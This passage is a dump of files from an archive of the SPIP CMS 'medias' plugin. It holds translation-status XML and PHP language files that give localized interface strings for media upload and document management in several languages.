<langue code="fr_fem" url="http://trad.spip.net/tradlang_module/paquet-medias?lang_cible=fr_fem" total="2" traduits="2" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="denisb" lien="http://trad.spip.net/auteur/denisb" />
</langue>
<langue code="it" url="http://trad.spip.net/tradlang_module/paquet-medias?lang_cible=it" total="2" traduits="2" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="phante" lien="http://trad.spip.net/auteur/phante" />
</langue>
<langue code="lb" url="http://trad.spip.net/tradlang_module/paquet-medias?lang_cible=lb" total="2" traduits="2" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="jwander" lien="http://trad.spip.net/auteur/jwander" />
</langue>
<langue code="nl" url="http://trad.spip.net/tradlang_module/paquet-medias?lang_cible=nl" total="2" traduits="2" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="Suske" lien="http://trad.spip.net/auteur/suske" />
</langue>
<langue code="pt" url="http://trad.spip.net/tradlang_module/paquet-medias?lang_cible=pt" total="2" traduits="2" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="Cláudia Anjos Lopes" lien="http://trad.spip.net/auteur/claudia_a_lopes" />
</langue>
<langue code="pt_br" url="http://trad.spip.net/tradlang_module/paquet-medias?lang_cible=pt_br" total="2" traduits="2" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="Ricardo Porto" lien="http://trad.spip.net/auteur/ricardo-porto" />
</langue>
<langue code="ru" url="http://trad.spip.net/tradlang_module/paquet-medias?lang_cible=ru" total="2" traduits="2" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="Serge Markitanenko" lien="http://trad.spip.net/auteur/serge-markitanenko" />
</langue>
<langue code="sk" url="http://trad.spip.net/tradlang_module/paquet-medias?lang_cible=sk" total="2" traduits="2" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="jaro" lien="http://trad.spip.net/auteur/jaro" />
</langue>
</traduction>
medias_oc_auv.php 0000666 00000004616 15252255273 0010076 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/medias?lang_cible=oc_auv
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'bouton_ajouter_document' => 'APONDRE UN DOCUMENT', # MODIF
'bouton_ajouter_image' => 'APONDRE UN IMATGE', # MODIF
// D
'double_clic_inserer_doc' => 'Besclicatz per inserir aquela ’corcha dins lo tèxt.',
// E
'entree_dimensions' => 'Dimensions:',
'entree_titre_document' => 'Títol dau document:',
'entree_titre_image' => 'Títol de l’imatge:',
// I
'image_tourner_180' => 'Rotacion 180°',
'image_tourner_droite' => 'Rotacion 90° vèrs la dreita',
'image_tourner_gauche' => 'Rotacion 90° vèrs la mança',
'info_document' => 'Document ',
'info_documents' => 'Documents',
'info_inclusion_directe' => 'Inclusion dirècta:',
'info_inclusion_vignette' => 'Inclusion de la vinheta:',
'info_installer_tous_documents' => 'Installar totes los documents ',
'info_logo_max_taille' => 'Los lògos an de far mens de @maxi@ (aqueste fichèir fai @actuel@).',
'info_portfolio' => 'Pòrtfòlio',
'info_referencer_doc_distant' => 'Referenciar un document dins l’Internet:',
'info_telecharger' => 'Telecharjar a partir de vòstre ordenador:',
// T
'texte_documents_joints' => 'Podètz autorizar que s’apondan de documents (fichèirs burotics, imatges,
multimèdia, etc.) aus articles e/o a las rubricas. Aqueles fichèirs
pòdon puèi èsser referenciats dins
l’article, o aparéisser d’a part.<p>', # MODIF
'texte_documents_joints_2' => 'Aquel reglatge empacha pas d’inserir d’imatges dirèctament dins los articles.', # MODIF
'titre_documents_joints' => 'Documents junts',
'tout_dossier_upload' => 'Tot lo dorsèir @upload@',
// U
'upload_fichier_zip' => 'Fichèir ZIP',
'upload_fichier_zip_texte' => 'Lo fichèir que prepausatz d’installar z-es un fichèir Zip.',
'upload_fichier_zip_texte2' => 'Aquel fichèir pòt l-èsser:',
'upload_limit' => 'Aquel fichèir z-es tròp gròs per lo servidor; la talha maxima autorizada en <i>upload</i> z-es de @max@.',
'upload_zip_decompacter' => 'descomprimit e chasque element que conten installat sus lo sit. Lendonc los fichèirs que serán installats sus lo sit son:',
'upload_zip_telquel' => 'installat tau coma z-es, coma archiu comprimit Zip;'
);
?>
medias_eo.php 0000666 00000005510 15252255273 0007217 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/medias?lang_cible=eo
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'bouton_ajouter_document' => 'Aldoni dokumenton',
'bouton_ajouter_image' => 'Aldoni bildon',
'bouton_ajouter_image_document' => 'Aldoni bildon aŭ dokumenton',
// D
'double_clic_inserer_doc' => 'Dufoje musklaku por enigi tiun rapidligilon en la tekston',
// E
'entree_dimensions' => 'Dimensioj :',
'entree_titre_document' => 'Titolo de la dokumento :',
'entree_titre_image' => 'Bildtitolo :',
// I
'image_tourner_180' => 'Rotacio 180°',
'image_tourner_droite' => '90° rotacio dekstren',
'image_tourner_gauche' => '90° rotacio maldekstren',
'info_document' => 'Dokumento ',
'info_document_indisponible' => 'Tiu ĉi dokumento ne disponeblas',
'info_documents' => 'Dokumentoj',
'info_inclusion_directe' => 'Rekta inkludo :',
'info_inclusion_vignette' => 'Inkludo de la vinjeto :',
'info_installer_tous_documents' => 'Instali ĉiujn dokumentojn',
'info_logo_max_taille' => 'Vinjetoj devige pezu malpli ol @maxi@ (tiu dosiero pezas @actuel@).',
'info_portfolio' => 'Bildaro',
'info_referencer_doc_distant' => 'Referencigi dokumenton ĉe la reto :',
'info_telecharger' => 'Alŝuti ekde via komputilo :',
'item_autoriser_selectionner_date_en_ligne' => 'Povi elekti la ĉeretigodaton de ĉiu dokumento', # MODIF
'item_non_autoriser_selectionner_date_en_ligne' => 'Ne povi mane ŝanĝi datojn de la dokumentoj', # MODIF
// T
'texte_documents_joints' => 'Vi povas permesi la aldonon de dokumentoj (oficikajn dosierojn, bildojn,
aŭd-vidaĵojn, ktp.) al la artikoloj kaj/aŭ al la rubrikoj. Tiuj dosieroj
povas poste esti referencigitaj en la artikolo
aŭ sendepende afiŝitaj.<p>', # MODIF
'texte_documents_joints_2' => 'Tiu aranĝo ne malhelpas la inkludon de bildoj rekte en la artikolojn.', # MODIF
'titre_documents_joints' => 'Alkroĉitaj dokumentoj',
'tout_dossier_upload' => 'La tuta dosierujo @upload@',
// U
'upload_fichier_zip' => 'ZIP-Dosiero (densigita)',
'upload_fichier_zip_texte' => 'La dosiero, kiun vi proponas instali estas densigita dosiero (zip).',
'upload_fichier_zip_texte2' => 'Tiu dosiero povas esti :',
'upload_limit' => 'Tiu dosiero estas tro granda por la servilo ; la maksimuma grandeco permesata en <i>upload</i> estas @max@.',
'upload_zip_conserver' => 'Konservi arkivon post maldensigo', # MODIF
'upload_zip_decompacter' => 'maldensigita kaj ĉiu elemento, kiun ĝi enhavas estas instalita ĉe la retejo. La dosieroj kiuj estos sekve instalitaj ĉe la retejo estas :',
'upload_zip_telquel' => 'instalita tia, kia ĝi estas, kiel densigita Zip-arkivo ;',
'upload_zip_titrer' => 'Titoligi laŭ dosiernomo'
);
?>
medias.xml 0000666 00000031375 15252255273 0006555 0 ustar 00 <traduction module="medias" gestionnaire="salvatore" url="http://trad.spip.net" source="svn://zone.spip.org/spip-zone/_core_/plugins/medias/lang/" reference="fr">
<langue code="ar" url="http://trad.spip.net/tradlang_module/medias?lang_cible=ar" total="153" traduits="153" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="George" lien="http://trad.spip.net/auteur/جورج-قندلفت" />
</langue>
<langue code="ast" url="http://trad.spip.net/tradlang_module/medias?lang_cible=ast" total="153" traduits="31" relire="0" modifs="3" nouveaux="119" pourcent="20.26">
<traducteur nom="Xuacu" lien="http://trad.spip.net/auteur/xuacu" />
</langue>
<langue code="ay" url="http://trad.spip.net/tradlang_module/medias?lang_cible=ay" total="153" traduits="17" relire="0" modifs="0" nouveaux="136" pourcent="11.11">
</langue>
<langue code="bg" url="http://trad.spip.net/tradlang_module/medias?lang_cible=bg" total="153" traduits="24" relire="0" modifs="4" nouveaux="125" pourcent="15.69">
</langue>
<langue code="br" url="http://trad.spip.net/tradlang_module/medias?lang_cible=br" total="153" traduits="31" relire="0" modifs="3" nouveaux="119" pourcent="20.26">
</langue>
<langue code="bs" url="http://trad.spip.net/tradlang_module/medias?lang_cible=bs" total="153" traduits="24" relire="0" modifs="4" nouveaux="125" pourcent="15.69">
</langue>
<langue code="ca" url="http://trad.spip.net/tradlang_module/medias?lang_cible=ca" total="153" traduits="73" relire="0" modifs="14" nouveaux="66" pourcent="47.71">
<traducteur nom="merce" lien="http://trad.spip.net/auteur/merce" />
</langue>
<langue code="co" url="http://trad.spip.net/tradlang_module/medias?lang_cible=co" total="153" traduits="31" relire="0" modifs="3" nouveaux="119" pourcent="20.26">
</langue>
<langue code="cpf" url="http://trad.spip.net/tradlang_module/medias?lang_cible=cpf" total="153" traduits="25" relire="0" modifs="4" nouveaux="124" pourcent="16.34">
</langue>
<langue code="cpf_hat" url="http://trad.spip.net/tradlang_module/medias?lang_cible=cpf_hat" total="153" traduits="24" relire="0" modifs="4" nouveaux="125" pourcent="15.69">
</langue>
<langue code="cs" url="http://trad.spip.net/tradlang_module/medias?lang_cible=cs" total="153" traduits="27" relire="0" modifs="2" nouveaux="124" pourcent="17.65">
</langue>
<langue code="da" url="http://trad.spip.net/tradlang_module/medias?lang_cible=da" total="153" traduits="11" relire="0" modifs="3" nouveaux="139" pourcent="7.19">
</langue>
<langue code="de" url="http://trad.spip.net/tradlang_module/medias?lang_cible=de" total="153" traduits="153" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="klaus++" lien="http://trad.spip.net/auteur/klaus" />
<traducteur nom="Rainer Müller" lien="http://trad.spip.net/auteur/rainer-muller" />
</langue>
<langue code="el" url="http://trad.spip.net/tradlang_module/medias?lang_cible=el" total="153" traduits="14" relire="0" modifs="3" nouveaux="136" pourcent="9.15">
</langue>
<langue code="en" url="http://trad.spip.net/tradlang_module/medias?lang_cible=en" total="153" traduits="153" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="George" lien="http://trad.spip.net/auteur/جورج-قندلفت" />
<traducteur nom="kent1" lien="http://trad.spip.net/auteur/kent1" />
<traducteur nom="sQuonk" lien="http://trad.spip.net/auteur/squonk" />
</langue>
<langue code="en_hx" url="http://trad.spip.net/tradlang_module/medias?lang_cible=en_hx" total="153" traduits="9" relire="0" modifs="4" nouveaux="140" pourcent="5.88">
</langue>
<langue code="eo" url="http://trad.spip.net/tradlang_module/medias?lang_cible=eo" total="153" traduits="29" relire="0" modifs="5" nouveaux="119" pourcent="18.95">
<traducteur nom="Matthieu Marcillaud" lien="http://trad.spip.net/auteur/matthieu-marcillaud" />
</langue>
<langue code="es" url="http://trad.spip.net/tradlang_module/medias?lang_cible=es" total="153" traduits="153" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="dani" lien="http://trad.spip.net/auteur/dani" />
</langue>
<langue code="eu" url="http://trad.spip.net/tradlang_module/medias?lang_cible=eu" total="153" traduits="30" relire="0" modifs="2" nouveaux="121" pourcent="19.61">
</langue>
<langue code="fa" url="http://trad.spip.net/tradlang_module/medias?lang_cible=fa" total="153" traduits="151" relire="0" modifs="0" nouveaux="2" pourcent="98.69">
<traducteur nom="Davood Hossein" lien="http://trad.spip.net/auteur/davood-hossein" />
</langue>
<langue code="fon" url="http://trad.spip.net/tradlang_module/medias?lang_cible=fon" total="153" traduits="22" relire="0" modifs="4" nouveaux="127" pourcent="14.38">
</langue>
<langue code="fr" url="http://trad.spip.net/tradlang_module/medias?lang_cible=fr" total="153" traduits="153" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
</langue>
<langue code="fr_fem" url="http://trad.spip.net/tradlang_module/medias?lang_cible=fr_fem" total="153" traduits="153" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="denisb" lien="http://trad.spip.net/auteur/denisb" />
</langue>
<langue code="fr_tu" url="http://trad.spip.net/tradlang_module/medias?lang_cible=fr_tu" total="153" traduits="153" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="beatnick" lien="http://trad.spip.net/auteur/beatnick" />
</langue>
<langue code="gl" url="http://trad.spip.net/tradlang_module/medias?lang_cible=gl" total="153" traduits="31" relire="0" modifs="3" nouveaux="119" pourcent="20.26">
</langue>
<langue code="hac" url="http://trad.spip.net/tradlang_module/medias?lang_cible=hac" total="153" traduits="18" relire="0" modifs="0" nouveaux="135" pourcent="11.76">
</langue>
<langue code="he" url="http://trad.spip.net/tradlang_module/medias?lang_cible=he" total="153" traduits="25" relire="0" modifs="1" nouveaux="127" pourcent="16.34">
</langue>
<langue code="hr" url="http://trad.spip.net/tradlang_module/medias?lang_cible=hr" total="153" traduits="24" relire="0" modifs="3" nouveaux="126" pourcent="15.69">
</langue>
<langue code="hu" url="http://trad.spip.net/tradlang_module/medias?lang_cible=hu" total="153" traduits="25" relire="0" modifs="4" nouveaux="124" pourcent="16.34">
</langue>
<langue code="id" url="http://trad.spip.net/tradlang_module/medias?lang_cible=id" total="153" traduits="24" relire="0" modifs="4" nouveaux="125" pourcent="15.69">
</langue>
<langue code="is" url="http://trad.spip.net/tradlang_module/medias?lang_cible=is" total="153" traduits="7" relire="0" modifs="2" nouveaux="144" pourcent="4.58">
</langue>
<langue code="it" url="http://trad.spip.net/tradlang_module/medias?lang_cible=it" total="153" traduits="153" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="phante" lien="http://trad.spip.net/auteur/phante" />
</langue>
<langue code="it_fem" url="http://trad.spip.net/tradlang_module/medias?lang_cible=it_fem" total="153" traduits="31" relire="0" modifs="3" nouveaux="119" pourcent="20.26">
</langue>
<langue code="ja" url="http://trad.spip.net/tradlang_module/medias?lang_cible=ja" total="153" traduits="24" relire="0" modifs="4" nouveaux="125" pourcent="15.69">
</langue>
<langue code="km" url="http://trad.spip.net/tradlang_module/medias?lang_cible=km" total="153" traduits="28" relire="0" modifs="2" nouveaux="123" pourcent="18.30">
</langue>
<langue code="la" url="http://trad.spip.net/tradlang_module/medias?lang_cible=la" total="153" traduits="13" relire="0" modifs="3" nouveaux="137" pourcent="8.50">
</langue>
<langue code="lb" url="http://trad.spip.net/tradlang_module/medias?lang_cible=lb" total="153" traduits="153" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="jwander" lien="http://trad.spip.net/auteur/jwander" />
</langue>
<langue code="lt" url="http://trad.spip.net/tradlang_module/medias?lang_cible=lt" total="153" traduits="13" relire="0" modifs="3" nouveaux="137" pourcent="8.50">
</langue>
<langue code="my" url="http://trad.spip.net/tradlang_module/medias?lang_cible=my" total="153" traduits="24" relire="0" modifs="4" nouveaux="125" pourcent="15.69">
</langue>
<langue code="nap" url="http://trad.spip.net/tradlang_module/medias?lang_cible=nap" total="153" traduits="21" relire="0" modifs="3" nouveaux="129" pourcent="13.73">
</langue>
<langue code="nb" url="http://trad.spip.net/tradlang_module/medias?lang_cible=nb" total="153" traduits="16" relire="0" modifs="3" nouveaux="134" pourcent="10.46">
</langue>
<langue code="ne" url="http://trad.spip.net/tradlang_module/medias?lang_cible=ne" total="153" traduits="18" relire="0" modifs="1" nouveaux="134" pourcent="11.76">
</langue>
<langue code="nl" url="http://trad.spip.net/tradlang_module/medias?lang_cible=nl" total="153" traduits="153" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="Suske" lien="http://trad.spip.net/auteur/suske" />
</langue>
<langue code="oc_auv" url="http://trad.spip.net/tradlang_module/medias?lang_cible=oc_auv" total="153" traduits="24" relire="0" modifs="4" nouveaux="125" pourcent="15.69">
</langue>
<langue code="oc_gsc" url="http://trad.spip.net/tradlang_module/medias?lang_cible=oc_gsc" total="153" traduits="24" relire="0" modifs="4" nouveaux="125" pourcent="15.69">
</langue>
<langue code="oc_lms" url="http://trad.spip.net/tradlang_module/medias?lang_cible=oc_lms" total="153" traduits="24" relire="0" modifs="4" nouveaux="125" pourcent="15.69">
</langue>
<langue code="oc_lnc" url="http://trad.spip.net/tradlang_module/medias?lang_cible=oc_lnc" total="153" traduits="25" relire="0" modifs="4" nouveaux="124" pourcent="16.34">
</langue>
<langue code="oc_ni" url="http://trad.spip.net/tradlang_module/medias?lang_cible=oc_ni" total="153" traduits="27" relire="0" modifs="2" nouveaux="124" pourcent="17.65">
</langue>
<langue code="oc_ni_la" url="http://trad.spip.net/tradlang_module/medias?lang_cible=oc_ni_la" total="153" traduits="24" relire="0" modifs="4" nouveaux="125" pourcent="15.69">
</langue>
<langue code="oc_prv" url="http://trad.spip.net/tradlang_module/medias?lang_cible=oc_prv" total="153" traduits="24" relire="0" modifs="4" nouveaux="125" pourcent="15.69">
</langue>
<langue code="oc_va" url="http://trad.spip.net/tradlang_module/medias?lang_cible=oc_va" total="153" traduits="24" relire="0" modifs="4" nouveaux="125" pourcent="15.69">
</langue>
<langue code="pl" url="http://trad.spip.net/tradlang_module/medias?lang_cible=pl" total="153" traduits="25" relire="0" modifs="4" nouveaux="124" pourcent="16.34">
</langue>
<langue code="pt" url="http://trad.spip.net/tradlang_module/medias?lang_cible=pt" total="153" traduits="153" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="Cláudia Anjos Lopes" lien="http://trad.spip.net/auteur/claudia_a_lopes" />
</langue>
<langue code="pt_br" url="http://trad.spip.net/tradlang_module/medias?lang_cible=pt_br" total="153" traduits="80" relire="0" modifs="2" nouveaux="71" pourcent="52.29">
<traducteur nom="quijaua" lien="http://trad.spip.net/auteur/quijaua" />
</langue>
<langue code="ro" url="http://trad.spip.net/tradlang_module/medias?lang_cible=ro" total="153" traduits="31" relire="0" modifs="3" nouveaux="119" pourcent="20.26">
</langue>
<langue code="roa" url="http://trad.spip.net/tradlang_module/medias?lang_cible=roa" total="153" traduits="20" relire="0" modifs="3" nouveaux="130" pourcent="13.07">
</langue>
<langue code="ru" url="http://trad.spip.net/tradlang_module/medias?lang_cible=ru" total="153" traduits="153" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="Serge Markitanenko" lien="http://trad.spip.net/auteur/serge-markitanenko" />
</langue>
<langue code="sk" url="http://trad.spip.net/tradlang_module/medias?lang_cible=sk" total="153" traduits="153" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="jaro" lien="http://trad.spip.net/auteur/jaro" />
</langue>
<langue code="sq" url="http://trad.spip.net/tradlang_module/medias?lang_cible=sq" total="153" traduits="20" relire="0" modifs="5" nouveaux="128" pourcent="13.07">
</langue>
<langue code="sv" url="http://trad.spip.net/tradlang_module/medias?lang_cible=sv" total="153" traduits="38" relire="0" modifs="2" nouveaux="113" pourcent="24.84">
</langue>
<langue code="tr" url="http://trad.spip.net/tradlang_module/medias?lang_cible=tr" total="153" traduits="31" relire="0" modifs="3" nouveaux="119" pourcent="20.26">
</langue>
<langue code="vi" url="http://trad.spip.net/tradlang_module/medias?lang_cible=vi" total="153" traduits="25" relire="0" modifs="4" nouveaux="124" pourcent="16.34">
</langue>
<langue code="wo" url="http://trad.spip.net/tradlang_module/medias?lang_cible=wo" total="153" traduits="18" relire="0" modifs="3" nouveaux="132" pourcent="11.76">
</langue>
<langue code="zh" url="http://trad.spip.net/tradlang_module/medias?lang_cible=zh" total="153" traduits="22" relire="0" modifs="5" nouveaux="126" pourcent="14.38">
</langue>
</traduction>
paquet-medias_pt.php 0000666 00000000640 15252255273 0010533 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/paquet-medias?lang_cible=pt
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// M
'medias_description' => 'Gestão multimédia de SPIP',
'medias_slogan' => 'Gestão multimédia de SPIP'
);
?>
paquet-medias_it.php 0000666 00000000636 15252255273 0010531 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/paquet-medias?lang_cible=it
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// M
'medias_description' => 'Gestione dei media di SPIP',
'medias_slogan' => 'Gestione dei media di SPIP'
);
?>
medias_es.php 0000666 00000021371 15252255273 0007226 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/medias?lang_cible=es
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// A
'aucun_audio' => 'No hay pista de sonido',
'aucun_document' => 'No hay documento',
'aucun_file' => 'No hay documento',
'aucun_image' => 'No hay imagen',
'aucun_video' => 'No hay secuencia',
'aucune_utilisation' => 'Este documento no se utiliza',
'aucune_vignette' => 'No hay miniatura',
// B
'bouton_ajouter_document' => 'Añadir un documento',
'bouton_ajouter_image' => 'Añadir una imagen',
'bouton_ajouter_image_document' => 'Añadir una imagen o un documento',
'bouton_attacher_document' => 'Adjuntar',
'bouton_copier_local' => 'Copia en el sitio',
'bouton_download_depuis' => 'desde:',
'bouton_download_local' => 'Mi computadora',
'bouton_download_par_ftp' => 'el servidor',
'bouton_download_par_mediatheque' => 'la mediateca',
'bouton_download_sur_le_web' => 'internet',
'bouton_enlever_document' => 'Separar',
'bouton_enlever_supprimer_document' => 'Eliminar',
'bouton_enlever_supprimer_document_confirmation' => '¿Estás seguro de querer suprimir el documento?',
'bouton_modifier_document' => 'Modificar',
'bouton_parcourir' => 'Recorrer...',
'bouton_refresh_document' => 'Actualizar el documento',
'bouton_remplacer_document' => 'Sustituir este documento',
'bouton_remplacer_image' => 'Sustituir esta imagen',
'bouton_remplacer_image_document' => 'Sustituye por una imagen o documento',
'bouton_supprimer' => 'Eliminar',
'bouton_supprimer_tous_orphelins' => 'Eliminar todos documentos no utilizados',
'bouton_supprimer_tous_orphelins_confirmation' => '¿Estás seguro que quieres eliminar @nb@ orfelinos?',
'bouton_upload' => 'Subir',
// D
'des_audios' => '@nb@ pistas de sonido',
'des_documents' => '@nb@ documentos',
'des_files' => '@nb@ documentos',
'des_images' => '@nb@ imágenes',
'des_utilisations' => '@nb@ usos',
'des_videos' => '@nb@ secuencias',
'descriptif' => 'Descripción',
'document_attache_succes' => 'El documento ha sido añadido',
'document_copie_locale_succes' => ' El archivo ha sido copiado en el sitio',
'document_installe_succes' => 'El archivo ha sido cargado',
'document_vu' => 'Introducido en el texto',
'documents' => 'Mediateca',
'documents_brises' => 'Rotos',
'documents_distants' => 'Remoto',
'documents_locaux' => 'Local',
'documents_non_publies' => 'Inedito',
'documents_orphelins' => 'No utilizados',
'documents_publies' => 'Publicado',
'documents_tous' => 'Todo',
'double_clic_inserer_doc' => 'Haga doble clic para insertar este atajo en el texto',
// E
'entree_dimensions' => 'Dimensiones',
'entree_titre_document' => 'Título del documento',
'entree_titre_image' => 'Título de la imagen',
'erreur_aucun_document' => 'Este documento no existe en la mediateca',
'erreur_aucun_fichier' => 'No se encontraron archivos',
'erreur_chemin_distant' => 'No se encontró el archivo remoto @nom@',
'erreur_chemin_ftp' => 'El archivo especificado no se encuentra en el servidor',
'erreur_copie_fichier' => 'No se puede copiar el archivo @nom@',
'erreur_dossier_tmp_manquant' => 'Falta una carpeta temporaria para poder subir los archivos',
'erreur_ecriture_fichier' => 'Error durante la escritura del archivo en disco.',
'erreur_format_fichier_image' => 'El formato de @nom@ no es adecuado para una imagen',
'erreur_indiquez_un_fichier' => 'Especifique un archivo!',
'erreur_insertion_document_base' => 'Imposible guardar el documento @fichier@ en la base de datos',
'erreur_suppression_vignette' => 'Erreur al suprimir la miniatura',
'erreur_upload_type_interdit' => ' La descarga de archivos de tipo @nom@ no permitido',
'erreur_upload_vignette' => 'Error al cargar miniatura @nom@',
'erreurs' => '@nb@ errores',
'erreurs_voir' => 'Ver los @nb@ errores',
// F
'fichier_distant' => 'Archivo distante',
'fichier_manquant' => 'Falta el archivo',
'fichier_modifie' => 'El archivo ha sido modificado. Haga clic en Guardar.',
'format_date_incorrect' => 'La fecha o la hora son incorrectas',
// I
'icone_creer_document' => 'Añadir documento',
'id' => 'ID',
'image_tourner_180' => 'Rotación de 180°',
'image_tourner_droite' => 'Rotación de 90° a la derecha',
'image_tourner_gauche' => 'Rotación de 90° a la izquierda',
'info_doc_max_poids' => 'Los documentos deben tener un tamaño inferior a @maxi@ (este archivo es de @actuel@).',
'info_document' => 'Documento',
'info_document_indisponible' => 'Este documento no está disponible',
'info_documents' => 'Documentos',
'info_gauche_numero_document' => 'DOCUMENTO NÚMERO',
'info_hauteur' => 'Alto',
'info_heure' => 'Hora',
'info_illustrations' => 'Ilustraciones',
'info_image_max_poids' => 'Las imágenes deben obligatoriamente pesar menos de @maxi@ (este archivo pesa @actuel@).',
'info_inclusion_directe' => 'Inclusión directa:',
'info_inclusion_vignette' => 'Inclusión de la miniatura',
'info_installer_tous_documents' => 'Instalar todos los documentos',
'info_largeur' => 'Ancho',
'info_logo_max_taille' => 'Los logos deben obligatoriamente tener un tamaño menor de @maxi@ (el archivo es de @actuel@).',
'info_modifier_document' => 'Editar el documento',
'info_portfolio' => 'Portafolio',
'info_referencer_doc_distant' => 'Referenciar un documento de Internet:',
'info_sans_vignette' => 'Sin miniatura',
'info_statut_document' => 'Este documento es:',
'info_telecharger' => 'Subir desde tu equipo:',
'infos' => 'Información técnica',
'item_autoriser_selectionner_date_en_ligne' => 'Permitir la modificación de la fecha de cada documento',
'item_non_autoriser_selectionner_date_en_ligne' => 'La fecha de los documentos es la de cuando fueron subidos al sitio web',
// L
'label_activer_document_objets' => 'Activar el poder subir archivos para los contenidos:',
'label_apercu' => 'Vistazo',
'label_caracteristiques' => 'Características',
'label_credits' => 'Créditos',
'label_fichier' => 'Archivo',
'label_fichier_vignette' => 'Miniatura',
'label_paginer_par' => 'Paginar por:',
'label_parents' => 'Este documento está relacionado con',
'label_refdoc_joindre' => 'Documento número',
'lien_tout_enlever' => 'Quitar todo',
'logo' => 'Logo',
// M
'media_audio' => 'Pistas de sonido',
'media_file' => 'Otro',
'media_image' => 'Imágenes',
'media_video' => 'Secuencias',
'miniature_automatique_active' => 'SPIP genera automáticamente una miniatura de la imagen',
// N
'nb_documents_attache_succes' => '@nb@ documentos fueron agregados correctamente',
'nb_documents_installe_succes' => '@nb@ los archivos cargados con exito',
// O
'objet_document' => 'Documento',
'objet_documents' => 'Documentos',
// P
'par_date' => 'Fecha',
'par_hauteur' => 'Altura',
'par_id' => 'ID',
'par_largeur' => 'Anchura',
'par_taille' => 'Tamaño',
'par_titre' => 'Titulo',
// T
'texte_documents_joints' => 'Puedes activar la interfaz para añadir documentos (archivos de ofimática, imágenes, multimedia, etc.) a los artículos, las secciones y otros. Después, estos archivos
pueden ser incluídos en el texto,
o mostrados por separado.',
'texte_documents_joints_2' => 'Este ajuste no impide subir imágenes a los artículos ni la inserción de documentos en los textos de contenido.',
'titre_documents_joints' => 'Documentos adjuntos',
'titre_page_documents_edit' => 'Modificar el documento: @titre@',
'tous_les_medias' => 'Todos los medios',
'tout_dossier_upload' => 'Toda la carpeta @upload@',
'tout_voir' => 'Ver todo',
// U
'un_audio' => '1 pista de sonido',
'un_document' => '1 documento',
'un_file' => '1 documento',
'un_image' => '1 imagen',
'un_video' => '1 secuencia',
'une_utilisation' => '1 utilización',
'upload_fichier_zip' => 'Archivo ZIP',
'upload_fichier_zip_texte' => 'El archivo que te propones instalar es un archivo Zip.',
'upload_fichier_zip_texte2' => 'Este archivo puede ser:',
'upload_info_mode_document' => 'Enviar a el portfolio',
'upload_info_mode_image' => 'Eliminar del portfolio',
'upload_limit' => 'Este archivo es demasiado grande para el servidor; el tamaño máximo autorizado en <i>upload</i> es de @max@.',
'upload_zip_conserver' => 'Conservar el archivo tras la extracción',
'upload_zip_decompacter' => 'descomprimido y cada elemento que contiene instalado en el sitio. Los archivos que se van a instalar en el sitio son:',
'upload_zip_mode_document' => 'Depositar todas las imágenes en el portafolio',
'upload_zip_telquel' => 'instalado tal cual, como archivo Zip comprimido;',
'upload_zip_titrer' => 'Titular como el nombre de los archivos',
// V
'verifier_documents_brises' => 'Verificar los archivos que faltan',
'verifier_documents_inutilises' => 'Vérificar los enlaces de los documentos',
'vignette_supprimee' => 'La miniatura se ha eliminado'
);
?>
medias_hr.php 0000666 00000004402 15252255273 0007224 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/medias?lang_cible=hr
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'bouton_ajouter_document' => 'Dodati dokument',
'bouton_ajouter_image' => 'Dodati sliku',
'bouton_ajouter_image_document' => 'Dodati sliku ili dokument',
// E
'entree_dimensions' => 'Veličina:',
'entree_titre_document' => 'Naslov dokumenta:',
'entree_titre_image' => 'Naslov slike:',
// I
'image_tourner_180' => 'okrenuti za 180°',
'image_tourner_droite' => 'okrenuti za 90° nadesno',
